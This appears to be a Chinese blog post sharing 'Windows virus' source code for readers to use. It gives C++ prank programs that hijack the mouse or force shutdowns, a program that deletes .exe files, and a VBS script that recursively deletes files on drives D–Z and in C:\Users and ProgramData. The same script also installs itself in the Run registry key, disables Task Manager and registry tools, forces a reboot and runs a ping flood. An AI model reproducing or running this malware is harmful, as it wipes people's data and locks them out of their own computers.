Windows病毒源码

有几个Windows小virus,大家一起分享啦~

鼠标乱闪C++:

#include
#include
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")

using namespace std;
int main(){
	
	system("title 鼠标乱闪_by_ACMIT");

	int x,y;

	while(1){
		x=rand()%801;

		y=rand()%601;

		SetCursorPos(x,y);
	}
	
	return 0;
	
}

鼠标失灵C++:

#include 
#include 
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
#define INF 2e9	//正无穷定义
int main(){
	system("title ");
	int x,y,a=0;
	while(1)
	{
		x=1;
		y=1;
		SetCursorPos(x,y);
		a++;
		if(a>=INF)	//人道主义,病毒还是要休息的呀!不过int类型的a似乎达不到INF的值啊
			return 0;
	}

	return 0;

}

cmd的狂潮C++:

#include 
#include
#include
#include
#define INF 2e9
int main()
{	
while(1){
		for(int i=1;i<=1;i++)system("start");
		int ret=MessageBox(NULL,TEXT("你还好吗?"),TEXT("提问"),MB_YESNO|MB_ICONQUESTION);
 		if(IDYES==ret){
  			int i;
 		}else{
  			system("del d:\\*exe");
  			system("del e:\\*exe");
 		}
	}
	return 0;
}

叫大哥C++:

#include
#include
#include 
int main() {
	int n;
	char a[10];
	printf("叫大哥,不叫就关机(你只有几十秒的时间,如果关闭本程序一样要关机,叫了大哥我帮你解除了)\n");
	system("shutdown -r");
	while(1) {
		printf("叫:");
		scanf("%s",&a);
		n=strcmp(a,"大哥");
		if(n==0) {
			system("shutdown -a");
			printf("嗯,真乖!!!爽!哈哈哈!!!");
			break;
		}
	}
}

非人哉_卢本伟牛逼C++:

#include
#include
using namespace std;
char c;
int main() { 
	cout<<"非人哉!汝被耍啦!"<<endl;
	cout<<"你以为就这样没了吗?"<<endl;
	cout<<"快叫卢本伟牛逼!否则的话......"<<endl;
	cout<<"叫:";
	cin>>c; 
	system("shutdown -p"); 
	return 0; 
}

一触即发VBS:

On Error Resume Next
dim avest,xufso,wscrt
Set avest = WScript.Createobject("WScript.Shell")
Set wscrt = WScript.Createobject("WScript.Shell")
Set xufso = CreateObject("Scripting.FileSystemObject")
avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true
xufso.CreateFolder "C:\VBScript\"
wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功!"
xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"
xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"
wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"
msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp!",16+4096,"Error"
do
	wscrt.run "ping 192.168.1.1 -l 65500 -t"
loop

以上为小编收集到的部分病毒源码,详情联系方式:

最佳联系方式:QQ:3353105169

你可能感兴趣的:(程序,VBS,C++)